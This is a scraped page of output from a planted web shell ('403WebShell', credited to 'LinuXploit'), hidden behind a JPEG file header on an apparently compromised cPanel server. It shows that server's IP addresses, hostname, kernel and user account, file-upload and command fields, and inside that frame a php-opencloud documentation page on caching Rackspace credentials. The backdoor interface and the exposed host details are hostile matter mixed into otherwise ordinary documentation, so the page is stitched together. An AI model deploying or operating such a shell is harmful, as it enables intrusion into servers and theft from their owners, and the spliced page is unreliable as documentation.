����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.133.132.103
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/vendor/rackspace/php-opencloud/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/vendor/rackspace/php-opencloud/doc//caching-creds.rst
Caching credentials
===================

You can speed up your API operations by caching your credentials in a
(semi-)permanent location, such as your DB or local filesystem. This
enable subsequent requests to access a shared resource, instead of
repetitively having to re-authenticate on every thread of execution.

Tokens are valid for 24 hours, so you can effectively re-use the same
cached value for that period. If you try to use a cached version that
has expired, an authentication request will be made.

Filesystem example
------------------

In this example, credentials will be saved to a file in the local
filesystem. Be sure to exclude it from your VCS.

.. code-block:: php

  use OpenCloud\Rackspace;

  $client = new Rackspace(Rackspace::US_IDENTITY_ENDPOINT, array(
      'username' => 'foo',
      'apiKey'   => 'bar'
  ));

  $cacheFile = __DIR__ . '/.opencloud_token';

  // If the cache file exists, try importing it into the client
  if (file_exists($cacheFile)) {
      $data = unserialize(file_get_contents($cacheFile));
      $client->importCredentials($data);
  }

  $token = $client->getTokenObject();

  // If no token exists, or the current token is expired, re-authenticate and save the new token to disk
  if (!$token || ($token && $token->hasExpired())) {
      $client->authenticate();
      file_put_contents($cacheFile, serialize($client->exportCredentials()));
  }

In tests, the above code shaved about 1-2s off the execution time.

Youez - 2016 - github.com/yon3zu
LinuXploit